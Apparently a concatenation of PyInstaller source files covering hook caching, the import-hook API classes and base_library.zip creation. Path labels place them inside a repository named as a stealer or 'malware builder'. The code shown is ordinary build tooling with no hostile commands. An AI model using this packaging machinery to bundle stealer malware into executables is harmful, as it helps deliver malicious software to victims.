                    hook_module_name_prefix=self._hook_module_name_prefix,
                )

                # Add this hook to this module's list of hooks.
                module_hooks = self.setdefault(module_name, [])
                module_hooks.append(module_hook)

    def remove_modules(self, *module_names):
        """
        Remove the passed modules and all hook scripts cached for these modules from this cache.

        Parameters
        ----------
        module_names : list
            List of all fully-qualified module names to be removed.
        """

        for module_name in module_names:
            # Unload this module's hook script modules from memory. Since these are top-level pure-Python modules cached
            # only in the "sys.modules" dictionary, popping these modules from this dictionary suffices to garbage
            # collect these modules.
            module_hooks = self.get(module_name, [])
            for module_hook in module_hooks:
                sys.modules.pop(module_hook.hook_module_name, None)

            # Remove this module and its hook script objects from this cache.
            self.pop(module_name, None)


def _module_collection_mode_sanitizer(value):
    if isinstance(value, dict):
        # Hook set a dictionary; use it as-is
        return value
    elif isinstance(value, str):
        # Hook set a mode string; convert to a dictionary and assign the string to `None` (= the hooked module).
        return {None: value}

    raise ValueError(f"Invalid module collection mode setting value: {value!r}")


# Dictionary mapping the names of magic attributes required by the "ModuleHook" class to 2-tuples "(default_type,
# sanitizer_func)", where:
#
# * "default_type" is the type to which that attribute will be initialized when that hook is lazily loaded.
# * "sanitizer_func" is the callable sanitizing the original value of that attribute defined by that hook into a
#   safer value consumable by "ModuleHook" callers if any or "None" if the original value requires no sanitization.
#
# To avoid subtleties in the ModuleHook.__getattr__() method, this dictionary is declared as a module rather than a
# class attribute. If declared as a class attribute and then undefined (...for whatever reason), attempting to access
# this attribute from that method would produce infinite recursion.
_MAGIC_MODULE_HOOK_ATTRS = {
    # Collections in which order is insignificant. This includes:
    #
    # * "datas", sanitized from hook-style 2-tuple lists defined by hooks into TOC-style 2-tuple sets consumable by
    #   "ModuleHook" callers.
    # * "binaries", sanitized in the same way.
    'datas': (set, format_binaries_and_datas),
    'binaries': (set, format_binaries_and_datas),
    'excludedimports': (set, None),

    # Collections in which order is significant. This includes:
    #
    # * "hiddenimports", as order of importation is significant. On module importation, hook scripts are loaded and hook
    #   functions declared by these scripts are called. As these scripts and functions can have side effects dependent
    #   on module importation order, module importation itself can have side effects dependent on this order!
    'hiddenimports': (list, None),

    # Flags
    'warn_on_missing_hiddenimports': (lambda: True, bool),

    # Package/module collection mode dictionary.
    'module_collection_mode': (dict, _module_collection_mode_sanitizer),
}


class ModuleHook:
    """
    Cached object encapsulating a lazy loadable hook script.

    This object exposes public attributes (e.g., `datas`) of the underlying hook script as attributes of the same
    name of this object. On the first access of any such attribute, this hook script is lazily loaded into an
    in-memory private module reused on subsequent accesses. These dynamic attributes are referred to as "magic." All
    other static attributes of this object (e.g., `hook_module_name`) are referred to as "non-magic."

    Attributes (Magic)
    ----------
    datas : set
        Set of `TOC`-style 2-tuples `(target_file, source_file)` for all external non-executable files required by
        the module being hooked, converted from the `datas` list of hook-style 2-tuples `(source_dir_or_glob,
        target_dir)` defined by this hook script.
    binaries : set
        Set of `TOC`-style 2-tuples `(target_file, source_file)` for all external executable files required by the
        module being hooked, converted from the `binaries` list of hook-style 2-tuples `(source_dir_or_glob,
        target_dir)` defined by this hook script.
    excludedimports : set
        Set of the fully-qualified names of all modules imported by the module being hooked to be ignored rather than
        imported from that module, converted from the `excludedimports` list defined by this hook script. These
        modules will only be "locally" rather than "globally" ignored. These modules will remain importable from all
        modules other than the module being hooked.
    hiddenimports : set
        Set of the fully-qualified names of all modules imported by the module being hooked that are _not_
        automatically detectable by PyInstaller (usually due to being dynamically imported in that module),
        converted from the `hiddenimports` list defined by this hook script.
    warn_on_missing_hiddenimports : bool
        Boolean flag indicating whether missing hidden imports from the hook should generate warnings or not. This
        behavior is enabled by default, but individual hooks can opt out of it.
    module_collection_mode : dict
        A dictionary of package/module names and their corresponding collection mode strings ('pyz', 'pyc', 'py',
        'pyz+py', 'py+pyz').

    Attributes (Non-magic)
    ----------
    module_graph : ModuleGraph
        Current module graph.
    module_name : str
        Name of the module hooked by this hook script.
    hook_filename : str
        Absolute or relative path of this hook script.
    hook_module_name : str
        Name of the in-memory module of this hook script's interpreted contents.
    _hook_module : module
        In-memory module of this hook script's interpreted contents, lazily loaded on the first call to the
        `_load_hook_module()` method _or_ `None` if this method has yet to be accessed.
    """

    #-- Magic --

    def __init__(self, module_graph, module_name, hook_filename, hook_module_name_prefix):
        """
        Initialize this metadata.

        Parameters
        ----------
        module_graph : ModuleGraph
            Current module graph.
        module_name : str
            Name of the module hooked by this hook script.
        hook_filename : str
            Absolute or relative path of this hook script.
        hook_module_name_prefix : str
            String prefixing the name of the in-memory module for this hook script. To avoid namespace clashes with
            similar modules created by other `ModuleHook` objects in other `ModuleHookCache` containers, this string
            _must_ be unique to the `ModuleHookCache` container containing this `ModuleHook` object. If this string
            is non-unique, an existing in-memory module will be erroneously reused when lazily loading this hook
            script, thus erroneously resanitizing previously sanitized hook script attributes (e.g., `datas`) with
            the `format_binaries_and_datas()` helper.

        """
        # Note that the passed module graph is already a weak reference, avoiding circular reference issues. See
        # ModuleHookCache.__init__(). TODO: Add a failure message
        assert isinstance(module_graph, weakref.ProxyTypes)
        self.module_graph = module_graph
        self.module_name = module_name
        self.hook_filename = hook_filename

        # Name of the in-memory module fabricated to refer to this hook script.
        self.hook_module_name = hook_module_name_prefix + self.module_name.replace('.', '_')

        # Safety check, see above
        global HOOKS_MODULE_NAMES
        if self.hook_module_name in HOOKS_MODULE_NAMES:
            # When self._shallow is true, this class never loads the hook and sets the attributes to empty values
            self._shallow = True
        else:
            self._shallow = False
            HOOKS_MODULE_NAMES.add(self.hook_module_name)

        # Attributes subsequently defined by the _load_hook_module() method.
        self._loaded = False
        self._has_hook_function = False
        self._hook_module = None

    def __getattr__(self, attr_name):
        """
        Get the magic attribute with the passed name (e.g., `datas`) from this lazily loaded hook script if any _or_
        raise `AttributeError` otherwise.

        This special method is called only for attributes _not_ already defined by this object. This includes
        undefined attributes and the first attempt to access magic attributes.

        This special method is _not_ called for subsequent attempts to access magic attributes. The first attempt to
        access magic attributes defines corresponding instance variables accessible via the `self.__dict__` instance
        dictionary (e.g., as `self.datas`) without calling this method. This approach also allows magic attributes to
        be deleted from this object _without_ defining the `__delattr__()` special method.

        See Also
        ----------
        Class docstring for supported magic attributes.
        """

        # If this is a magic attribute, initialize this attribute by lazy loading this hook script and then return
        # this attribute.
        if attr_name in _MAGIC_MODULE_HOOK_ATTRS and not self._loaded:
            self._load_hook_module()
            return getattr(self, attr_name)
        # Else, this is an undefined attribute. Raise an exception.
        else:
            raise AttributeError(attr_name)

    def __setattr__(self, attr_name, attr_value):
        """
        Set the attribute with the passed name to the passed value.

        If this is a magic attribute, this hook script will be lazily loaded before setting this attribute. Unlike
        `__getattr__()`, this special method is called to set _any_ attribute -- including magic, non-magic,
        and undefined attributes.

        See Also
        ----------
        Class docstring for supported magic attributes.
        """

        # If this is a magic attribute, initialize this attribute by lazy loading this hook script before overwriting
        # this attribute.
        if attr_name in _MAGIC_MODULE_HOOK_ATTRS:
            self._load_hook_module()

        # Set this attribute to the passed value. To avoid recursion, the superclass method rather than setattr() is
        # called.
        return super().__setattr__(attr_name, attr_value)

    #-- Loading --

    def _load_hook_module(self, keep_module_ref=False):
        """
        Lazily load this hook script into an in-memory private module.

        This method (and, indeed, this class) preserves all attributes and functions defined by this hook script as
        is, ensuring sane behaviour in hook functions _not_ expecting unplanned external modification. Instead,
        this method copies public attributes defined by this hook script (e.g., `binaries`) into private attributes
        of this object, which the special `__getattr__()` and `__setattr__()` methods safely expose to external
        callers. For public attributes _not_ defined by this hook script, the corresponding private attributes will
        be assigned sane defaults. For some public attributes defined by this hook script, the corresponding private
        attributes will be transformed into objects more readily and safely consumed elsewhere by external callers.

        See Also
        ----------
        Class docstring for supported attributes.
        """

        # If this hook script module has already been loaded, or we are _shallow, noop.
        if (self._loaded and (self._hook_module is not None or not keep_module_ref)) or self._shallow:
            if self._shallow:
                self._loaded = True
                self._hook_module = True  # Not None
                # Inform the user
                logger.debug(
                    'Skipping module hook %r from %r because a hook for %s has already been loaded.',
                    *os.path.split(self.hook_filename)[::-1], self.module_name
                )
                # Set the default attributes to empty instances of the type.
                for attr_name, (attr_type, _) in _MAGIC_MODULE_HOOK_ATTRS.items():
                    super().__setattr__(attr_name, attr_type())
            return

        # Load and execute the hook script. Even if mechanisms from the import machinery are used, this does not import
        # the hook as the module.
        head, tail = os.path.split(self.hook_filename)
        logger.info('Loading module hook %r from %r...', tail, head)
        try:
            self._hook_module = importlib_load_source(self.hook_module_name, self.hook_filename)
        except ImportError:
            logger.debug("Hook failed with:", exc_info=True)
            raise ImportErrorWhenRunningHook(self.hook_module_name, self.hook_filename)

        # Mark as loaded
        self._loaded = True

        # Check if module has hook() function.
        self._has_hook_function = hasattr(self._hook_module, 'hook')

        # Copy hook script attributes into magic attributes exposed as instance variables of the current "ModuleHook"
        # instance.
        for attr_name, (default_type, sanitizer_func) in _MAGIC_MODULE_HOOK_ATTRS.items():
            # Unsanitized value of this attribute.
            attr_value = getattr(self._hook_module, attr_name, None)

            # If this attribute is undefined, expose a sane default instead.
            if attr_value is None:
                attr_value = default_type()
            # Else if this attribute requires sanitization, do so.
            elif sanitizer_func is not None:
                attr_value = sanitizer_func(attr_value)
            # Else, expose the unsanitized value of this attribute.

            # Expose this attribute as an instance variable of the same name.
            setattr(self, attr_name, attr_value)

        # If module_collection_mode has an entry with None key, reassign it to the hooked module's name.
        setattr(
            self, 'module_collection_mode', {
                key if key is not None else self.module_name: value
                for key, value in getattr(self, 'module_collection_mode').items()
            }
        )

        # Release the module if we do not need the reference. This is the case when hook is loaded during the analysis
        # rather as part of the post-graph operations.
        if not keep_module_ref:
            self._hook_module = None

    #-- Hooks --

    def post_graph(self, analysis):
        """
        Call the **post-graph hook** (i.e., `hook()` function) defined by this hook script, if any.

        Parameters
        ----------
        analysis: build_main.Analysis
            Analysis that calls the hook

        This method is intended to be called _after_ the module graph for this application is constructed.
        """

        # Lazily load this hook script into an in-memory module.
        # The script might have been loaded before during modulegraph analysis; in that case, it needs to be reloaded
        # only if it provides a hook() function.
        if not self._loaded or self._has_hook_function:
            # Keep module reference when loading the hook, so we can call its hook function!
            self._load_hook_module(keep_module_ref=True)

            # Call this hook script's hook() function, which modifies attributes accessed by subsequent methods and
            # hence must be called first.
            self._process_hook_func(analysis)

        # Order is insignificant here.
        self._process_hidden_imports()

    def _process_hook_func(self, analysis):
        """
        Call this hook's `hook()` function if defined.

        Parameters
        ----------
        analysis: build_main.Analysis
            Analysis that calls the hook
        """

        # If this hook script defines no hook() function, noop.
        if not hasattr(self._hook_module, 'hook'):
            return

        # Call this hook() function.
        hook_api = PostGraphAPI(module_name=self.module_name, module_graph=self.module_graph, analysis=analysis)
        try:
            self._hook_module.hook(hook_api)
        except ImportError:
            logger.debug("Hook failed with:", exc_info=True)
            raise ImportErrorWhenRunningHook(self.hook_module_name, self.hook_filename)

        # Update all magic attributes modified by the prior call.
        self.datas.update(set(hook_api._added_datas))
        self.binaries.update(set(hook_api._added_binaries))
        self.hiddenimports.extend(hook_api._added_imports)
        self.module_collection_mode.update(hook_api._module_collection_mode)

        # FIXME: `hook_api._deleted_imports` should be appended to `self.excludedimports` and used to suppress module
        # import during the modulegraph construction rather than handled here. However, for that to work, the `hook()`
        # function needs to be ran during modulegraph construction instead of in post-processing (and this in turn
        # requires additional code refactoring in order to be able to pass `analysis` to `PostGraphAPI` object at
        # that point). So once the modulegraph rewrite is complete, remove the code block below.
        for deleted_module_name in hook_api._deleted_imports:
            # Remove the graph link between the hooked module and item. This removes the 'item' node from the graph if
            # no other links go to it (no other modules import it)
            self.module_graph.removeReference(hook_api.node, deleted_module_name)

    def _process_hidden_imports(self):
        """
        Add all imports listed in this hook script's `hiddenimports` attribute to the module graph as if directly
        imported by this hooked module.

        These imports are typically _not_ implicitly detectable by PyInstaller and hence must be explicitly defined
        by hook scripts.
        """

        # For each hidden import required by the module being hooked...
        for import_module_name in self.hiddenimports:
            try:
                # Graph node for this module. Do not implicitly create namespace packages for non-existent packages.
                caller = self.module_graph.find_node(self.module_name, create_nspkg=False)

                # Manually import this hidden import from this module.
                self.module_graph.import_hook(import_module_name, caller)
            # If this hidden import is unimportable, print a non-fatal warning. Hidden imports often become
            # desynchronized from upstream packages and hence are only "soft" recommendations.
            except ImportError:
                if self.warn_on_missing_hiddenimports:
                    logger.warning('Hidden import "%s" not found!', import_module_name)


class AdditionalFilesCache:
    """
    Cache for storing what binaries and datas were pushed by what modules when import hooks were processed.
    """
    def __init__(self):
        self._binaries = {}
        self._datas = {}

    def add(self, modname, binaries, datas):

        self._binaries.setdefault(modname, [])
        self._binaries[modname].extend(binaries or [])
        self._datas.setdefault(modname, [])
        self._datas[modname].extend(datas or [])

    def __contains__(self, name):
        return name in self._binaries or name in self._datas

    def binaries(self, modname):
        """
        Return list of binaries for given module name.
        """
        return self._binaries.get(modname, [])

    def datas(self, modname):
        """
        Return list of datas for given module name.
        """
        return self._datas.get(modname, [])

ThiefCat_assets/MwlareBuilder/depend/imphook.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Classes facilitating communication between PyInstaller and import hooks.

PyInstaller passes instances of classes defined by this module to corresponding functions defined by external import
hooks, which commonly modify the contents of these instances before returning. PyInstaller then detects and converts
these modifications into appropriate operations on the current `PyiModuleGraph` instance, thus modifying which
modules will be frozen into the executable.
"""

from PyInstaller.building.utils import format_binaries_and_datas
from PyInstaller.lib.modulegraph.modulegraph import (RuntimeModule, RuntimePackage)


class PreSafeImportModuleAPI:
    """
    Metadata communicating changes made by the current **pre-safe import module hook** (i.e., hook run immediately
    _before_ a call to `ModuleGraph._safe_import_module()` recursively adding the hooked module, package,
    or C extension and all transitive imports thereof to the module graph) back to PyInstaller.

    Pre-safe import module hooks _must_ define a `pre_safe_import_module()` function accepting an instance of this
    class, whose attributes describe the subsequent `ModuleGraph._safe_import_module()` call creating the hooked
    module's graph node.

    Each pre-safe import module hook is run _only_ on the first attempt to create the hooked module's graph node and
    then subsequently ignored. If this hook successfully creates that graph node, the subsequent
    `ModuleGraph._safe_import_module()` call will observe this fact and silently return without attempting to
    recreate that graph node.

    Pre-safe import module hooks are typically used to create graph nodes for **runtime modules** (i.e.,
    modules dynamically defined at runtime). Most modules are physically defined in external `.py`-suffixed scripts.
    Some modules, however, are dynamically defined at runtime (e.g., `six.moves`, dynamically defined by the
    physically defined `six.py` module). However, `ModuleGraph` only parses `import` statements residing in external
    scripts. `ModuleGraph` is _not_ a full-fledged, Turing-complete Python interpreter and hence has no means of
    parsing `import` statements performed by runtime modules existing only in-memory.

    'With great power comes great responsibility.'


    Attributes (Immutable)
    ----------------------------
    The following attributes are **immutable** (i.e., read-only). For safety, any attempts to change these attributes
    _will_ result in a raised exception:

    module_graph : PyiModuleGraph
        Current module graph.
    parent_package : Package
        Graph node for the package providing this module _or_ `None` if this module is a top-level module.

    Attributes (Mutable)
    -----------------------------
    The following attributes are editable.

    module_basename : str
        Unqualified name of the module to be imported (e.g., `text`).
    module_name : str
        Fully-qualified name of this module (e.g., `email.mime.text`).
    """
    def __init__(self, module_graph, module_basename, module_name, parent_package):
        self._module_graph = module_graph
        self.module_basename = module_basename
        self.module_name = module_name
        self._parent_package = parent_package

    # Immutable properties. No corresponding setters are defined.
    @property
    def module_graph(self):
        """
        Current module graph.
        """
        return self._module_graph

    @property
    def parent_package(self):
        """
        Parent Package of this node.
        """
        return self._parent_package

    def add_runtime_module(self, module_name):
        """
        Add a graph node representing a non-package Python module with the passed name dynamically defined at runtime.

        Most modules are statically defined on-disk as standard Python files. Some modules, however, are dynamically
        defined in-memory at runtime (e.g., `gi.repository.Gst`, dynamically defined by the statically defined
        `gi.repository.__init__` module).

        This method adds a graph node representing such a runtime module. Since this module is _not_ a package,
        all attempts to import submodules from this module in `from`-style import statements (e.g., the `queue`
        submodule in `from six.moves import queue`) will be silently ignored. To circumvent this, simply call
        `add_runtime_package()` instead.

        Parameters
        ----------
        module_name : str
            Fully-qualified name of this module (e.g., `gi.repository.Gst`).

        Examples
        ----------
        This method is typically called by `pre_safe_import_module()` hooks, e.g.:

            def pre_safe_import_module(api):
                api.add_runtime_module(api.module_name)
        """

        self._module_graph.add_module(RuntimeModule(module_name))

    def add_runtime_package(self, package_name):
        """
        Add a graph node representing a non-namespace Python package with the passed name dynamically defined at
        runtime.

        Most packages are statically defined on-disk as standard subdirectories containing `__init__.py` files. Some
        packages, however, are dynamically defined in-memory at runtime (e.g., `six.moves`, dynamically defined by
        the statically defined `six` module).

        This method adds a graph node representing such a runtime package. All attributes imported from this package
        in `from`-style import statements that are submodules of this package (e.g., the `queue` submodule in `from
        six.moves import queue`) will be imported rather than ignored.

        Parameters
        ----------
        package_name : str
            Fully-qualified name of this package (e.g., `six.moves`).

        Examples
        ----------
        This method is typically called by `pre_safe_import_module()` hooks, e.g.:

            def pre_safe_import_module(api):
                api.add_runtime_package(api.module_name)
        """

        self._module_graph.add_module(RuntimePackage(package_name))

    def add_alias_module(self, real_module_name, alias_module_name):
        """
        Alias the source module to the target module with the passed names.

        This method ensures that the next call to findNode() given the target module name will resolve this alias.
        This includes importing and adding a graph node for the source module if needed as well as adding a reference
        from the target to the source module.

        Parameters
        ----------
        real_module_name : str
            Fully-qualified name of the **existing module** (i.e., the module being aliased).
        alias_module_name : str
            Fully-qualified name of the **non-existent module** (i.e., the alias to be created).
        """

        self._module_graph.alias_module(real_module_name, alias_module_name)

    def append_package_path(self, directory):
        """
        Modulegraph does a good job at simulating Python's, but it cannot handle packagepath `__path__` modifications
        packages make at runtime.

        Therefore there is a mechanism whereby you can register extra paths in this map for a package, and it will be
        honored.

        Parameters
        ----------
        directory : str
            Absolute or relative path of the directory to be appended to this package's `__path__` attribute.
        """

        self._module_graph.append_package_path(self.module_name, directory)


class PreFindModulePathAPI:
    """
    Metadata communicating changes made by the current **pre-find module path hook** (i.e., hook run immediately
    _before_ a call to `ModuleGraph._find_module_path()` finding the hooked module's absolute path) back to PyInstaller.

    Pre-find module path hooks _must_ define a `pre_find_module_path()` function accepting an instance of this class,
    whose attributes describe the subsequent `ModuleGraph._find_module_path()` call to be performed.

    Pre-find module path hooks are typically used to change the absolute path from which a module will be
    subsequently imported and thus frozen into the executable. To do so, hooks may overwrite the default
    `search_dirs` list of the absolute paths of all directories to be searched for that module: e.g.,

        def pre_find_module_path(api):
            api.search_dirs = ['/the/one/true/package/providing/this/module']

    Each pre-find module path hook is run _only_ on the first call to `ModuleGraph._find_module_path()` for the
    corresponding module.

    Attributes
    ----------
    The following attributes are **mutable** (i.e., modifiable). All changes to these attributes will be immediately
    respected by PyInstaller:

    search_dirs : list
        List of the absolute paths of all directories to be searched for this module (in order). Searching will halt
        at the first directory containing this module.

    Attributes (Immutable)
    ----------
    The following attributes are **immutable** (i.e., read-only). For safety, any attempts to change these attributes
    _will_ result in a raised exception:

    module_name : str
        Fully-qualified name of this module.
    module_graph : PyiModuleGraph
        Current module graph. For efficiency, this attribute is technically mutable. To preserve graph integrity,
        this attribute should nonetheless _never_ be modified. While read-only `PyiModuleGraph` methods (e.g.,
        `findNode()`) are safely callable from within pre-find module path hooks, methods modifying the graph are
        _not_. If graph modifications are required, consider an alternative type of hook (e.g., pre-import module
        hooks).
    """
    def __init__(
        self,
        module_graph,
        module_name,
        search_dirs,
    ):
        # Mutable attributes.
        self.search_dirs = search_dirs

        # Immutable attributes.
        self._module_graph = module_graph
        self._module_name = module_name

    # Immutable properties. No corresponding setters are defined.
    @property
    def module_graph(self):
        """
        Current module graph.
        """
        return self._module_graph

    @property
    def module_name(self):
        """
        Fully-qualified name of this module.
        """
        return self._module_name


class PostGraphAPI:
    """
    Metadata communicating changes made by the current **post-graph hook** (i.e., hook run for a specific module
    transitively imported by the current application _after_ the module graph of all `import` statements performed by
    this application has been constructed) back to PyInstaller.

    Post-graph hooks may optionally define a `post_graph()` function accepting an instance of this class,
    whose attributes describe the current state of the module graph and the hooked module's graph node.

    Attributes (Mutable)
    ----------
    The following attributes are **mutable** (i.e., modifiable). All changes to these attributes will be immediately
    respected by PyInstaller:

    module_graph : PyiModuleGraph
        Current module graph.
    module : Node
        Graph node for the currently hooked module.

    'With great power comes great responsibility.'

    Attributes (Immutable)
    ----------
    The following attributes are **immutable** (i.e., read-only). For safety, any attempts to change these attributes
    _will_ result in a raised exception:

    __name__ : str
        Fully-qualified name of this module (e.g., `six.moves.tkinter`).
    __file__ : str
        Absolute path of this module. If this module is:
        * A standard (rather than namespace) package, this is the absolute path of this package's directory.
        * A namespace (rather than standard) package, this is the abstract placeholder `-`. (Don't ask. Don't tell.)
        * A non-package module or C extension, this is the absolute path of the corresponding file.
    __path__ : list
        List of the absolute paths of all directories comprising this package if this module is a package _or_ `None`
        otherwise. If this module is a standard (rather than namespace) package, this list contains only the absolute
        path of this package's directory.
    co : code
        Code object compiled from the contents of `__file__` (e.g., via the `compile()` builtin).
    analysis: build_main.Analysis
        The Analysis that load the hook.

    Attributes (Private)
    ----------
    The following attributes are technically mutable but private, and hence should _never_ be externally accessed or
    modified by hooks. Call the corresponding public methods instead:

    _added_datas : list
        List of the `(name, path)` 2-tuples or TOC objects of all external data files required by the current hook,
        defaulting to the empty list. This is equivalent to the global `datas` hook attribute.
    _added_imports : list
        List of the fully-qualified names of all modules imported by the current hook, defaulting to the empty list.
        This is equivalent to the global `hiddenimports` hook attribute.
    _added_binaries : list
        List of the `(name, path)` 2-tuples or TOC objects of all external C extensions imported by the current hook,
        defaulting to the empty list. This is equivalent to the global `binaries` hook attribute.
    _module_collection_mode : dict
        Dictionary of package/module names and their corresponding collection mode strings. This is equivalent to the
        global `module_collection_mode` hook attribute.
    """
    def __init__(self, module_name, module_graph, analysis):
        # Mutable attributes.
        self.module_graph = module_graph
        self.module = module_graph.find_node(module_name)
        assert self.module is not None  # should not occur

        # Immutable attributes.
        self.___name__ = module_name
        self.___file__ = self.module.filename
        self._co = self.module.code
        self._analysis = analysis

        # To enforce immutability, convert this module's package path if any into an immutable tuple.
        self.___path__ = tuple(self.module.packagepath) \
            if self.module.packagepath is not None else None

        #FIXME: Refactor "_added_datas", "_added_binaries", and "_deleted_imports" into sets. Since order of
        #import is important, "_added_imports" must remain a list.

        # Private attributes.
        self._added_binaries = []
        self._added_datas = []
        self._added_imports = []
        self._deleted_imports = []
        self._module_collection_mode = {}

    # Immutable properties. No corresponding setters are defined.
    @property
    def __file__(self):
        """
        Absolute path of this module's file.
        """
        return self.___file__

    @property
    def __path__(self):
        """
        List of the absolute paths of all directories comprising this package if this module is a package _or_ `None`
        otherwise. If this module is a standard (rather than namespace) package, this list contains only the absolute
        path of this package's directory.
        """
        return self.___path__

    @property
    def __name__(self):
        """
        Fully-qualified name of this module (e.g., `six.moves.tkinter`).
        """
        return self.___name__

    @property
    def co(self):
        """
        Code object compiled from the contents of `__file__` (e.g., via the `compile()` builtin).
        """
        return self._co

    @property
    def analysis(self):
        """
        build_main.Analysis that calls the hook.
        """
        return self._analysis

    # Obsolete immutable properties provided to preserve backward compatibility.
    @property
    def name(self):
        """
        Fully-qualified name of this module (e.g., `six.moves.tkinter`).

        **This property has been deprecated by the `__name__` property.**
        """
        return self.___name__

    @property
    def graph(self):
        """
        Current module graph.

        **This property has been deprecated by the `module_graph` property.**
        """
        return self.module_graph

    @property
    def node(self):
        """
        Graph node for the currently hooked module.

        **This property has been deprecated by the `module` property.**
        """
        return self.module

    # TODO: This incorrectly returns the list of the graph nodes of all modules *TRANSITIVELY* (rather than directly)
    #       imported by this module. Unfortunately, this implies that most uses of this property are currently broken
    #       (e.g., "hook-PIL.SpiderImagePlugin.py"). We only require this for the aforementioned hook, so contemplate
    #       alternative approaches.
    @property
    def imports(self):
        """
        List of the graph nodes of all modules directly imported by this module.
        """
        return self.module_graph.iter_graph(start=self.module)

    def add_imports(self, *module_names):
        """
        Add all Python modules whose fully-qualified names are in the passed list as "hidden imports" upon which the
        current module depends.

        This is equivalent to appending such names to the hook-specific `hiddenimports` attribute.
        """
        # Append such names to the current list of all such names.
        self._added_imports.extend(module_names)

    def del_imports(self, *module_names):
        """
        Remove the named fully-qualified modules from the set of imports (either hidden or visible) upon which the
        current module depends.

        This is equivalent to appending such names to the hook-specific `excludedimports` attribute.
        """
        self._deleted_imports.extend(module_names)

    def add_binaries(self, binaries):
        """
        Add all external dynamic libraries in the passed list of `(src_name, dest_name)` 2-tuples as dependencies of the
        current module. This is equivalent to adding to the global `binaries` hook attribute.

        For convenience, the `binaries` may also be a list of TOC-style 3-tuples `(dest_name, src_name, typecode)`.
        """

        # Detect TOC 3-tuple list by checking the length of the first entry
        if binaries and len(binaries[0]) == 3:
            self._added_binaries.extend(entry[:2] for entry in binaries)
        else:
            # NOTE: `format_binaries_and_datas` changes tuples from input format `(src_name, dest_name)` to output
            # format `(dest_name, src_name)`.
            self._added_binaries.extend(format_binaries_and_datas(binaries))

    def add_datas(self, datas):
        """
        Add all external data files in the passed list of `(src_name, dest_name)` 2-tuples as dependencies of the
        current module. This is equivalent to adding to the global `datas` hook attribute.

        For convenience, the `datas` may also be a list of TOC-style 3-tuples `(dest_name, src_name, typecode)`.
        """

        # Detect TOC 3-tuple list by checking the length of the first entry
        if datas and len(datas[0]) == 3:
            self._added_datas.extend(entry[:2] for entry in datas)
        else:
            # NOTE: `format_binaries_and_datas` changes tuples from input format `(src_name, dest_name)` to output
            # format `(dest_name, src_name)`.
            self._added_datas.extend(format_binaries_and_datas(datas))

    def set_module_collection_mode(self, name, mode):
        """"
        Set the package/module collection mode for the specified module name. If `name` is `None`, the hooked
        module/package name is used. `mode` can be one of valid mode strings (`'pyz'`, `'pyc'`, ˙'py'˙, `'pyz+py'`,
        ˙'py+pyz'`) or `None`, which clears the setting for the module/package - but only  within this hook's context!
        """
        if name is None:
            name = self.__name__
        if mode is None:
            self._module_collection_mode.pop(name)
        else:
            self._module_collection_mode[name] = mode

ThiefCat_assets/MwlareBuilder/depend/imphookapi.py
KSCH-58/Thief-Cat
# -*- coding: utf-8 -*-
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Utility functions related to analyzing/bundling dependencies.
"""

import ctypes.util
import io
import os
import re
import struct
import zipfile
from types import CodeType

import marshal

from PyInstaller import compat
from PyInstaller import log as logging
from PyInstaller.depend import bytecode
from PyInstaller.depend.dylib import include_library
from PyInstaller.exceptions import ExecCommandFailed
from PyInstaller.lib.modulegraph import modulegraph

logger = logging.getLogger(__name__)


# TODO find out if modules from base_library.zip could be somehow bundled into the .exe file.
def create_py3_base_library(libzip_filename, graph):
    """
    Package basic Python modules into .zip file. The .zip file with basic modules is necessary to have on PYTHONPATH
    for initializing libpython3 in order to run the frozen executable with Python 3.
    """
    # Import strip_paths_in_code locally to avoid cyclic import between building.utils and depend.utils (this module);
    # building.utils imports depend.bindepend, which in turn imports depend.utils.
    from PyInstaller.building.utils import strip_paths_in_code

    # Construct regular expression for matching modules that should be bundled into base_library.zip. Excluded are plain
    # 'modules' or 'submodules.ANY_NAME'. The match has to be exact - start and end of string not substring.
    regex_modules = '|'.join([rf'(^{x}$)' for x in compat.PY3_BASE_MODULES])
    regex_submod = '|'.join([rf'(^{x}\..*$)' for x in compat.PY3_BASE_MODULES])
    regex_str = regex_modules + '|' + regex_submod
    module_filter = re.compile(regex_str)

    try:
        # Remove .zip from previous run.
        if os.path.exists(libzip_filename):
            os.remove(libzip_filename)
        logger.debug('Adding python files to base_library.zip')
        # Class zipfile.PyZipFile is not suitable for PyInstaller needs.
        with zipfile.ZipFile(libzip_filename, mode='w') as zf:
            zf.debug = 3
            # Sort the graph nodes by identifier to ensure repeatable builds
            graph_nodes = list(graph.iter_graph())
            graph_nodes.sort(key=lambda item: item.identifier)
            for mod in graph_nodes:
                if type(mod) in (modulegraph.SourceModule, modulegraph.Package, modulegraph.CompiledModule):
                    # Bundling just required modules.
                    if module_filter.match(mod.identifier):
                        # Name inside the archive. The ZIP format specification requires forward slashes as directory
                        # separator.
                        if type(mod) is modulegraph.Package:
                            new_name = mod.identifier.replace('.', '/') + '/__init__.pyc'
                        else:
                            new_name = mod.identifier.replace('.', '/') + '.pyc'

                        # Write code to a file. This code is similar to py_compile.compile().
                        with io.BytesIO() as fc:
                            fc.write(compat.BYTECODE_MAGIC)
                            fc.write(struct.pack('<I', 0b01))  # PEP-552: hash-based pyc, check_source=False
                            fc.write(b'\00' * 8)  # Match behavior of `building.utils.compile_pymodule`
                            code = strip_paths_in_code(mod.code)  # Strip paths
                            marshal.dump(code, fc)
                            # Use a ZipInfo to set timestamp for deterministic build.
                            info = zipfile.ZipInfo(new_name)
                            zf.writestr(info, fc.getvalue())

    except Exception:
        logger.error('base_library.zip could not be created!')
        raise


def scan_code_for_ctypes(co):
    binaries = __recursively_scan_code_objects_for_ctypes(co)

    # If any of the libraries has been requested with anything else than the basename, drop that entry and warn the
    # user - PyInstaller would need to patch the compiled pyc file to make it work correctly!
    binaries = set(binaries)
    for binary in list(binaries):
        # 'binary' might be in some cases None. Some Python modules (e.g., PyObjC.objc._bridgesupport) might contain
        # code like this:
        #     dll = ctypes.CDLL(None)
        if not binary:
            # None values have to be removed too.
            binaries.remove(binary)
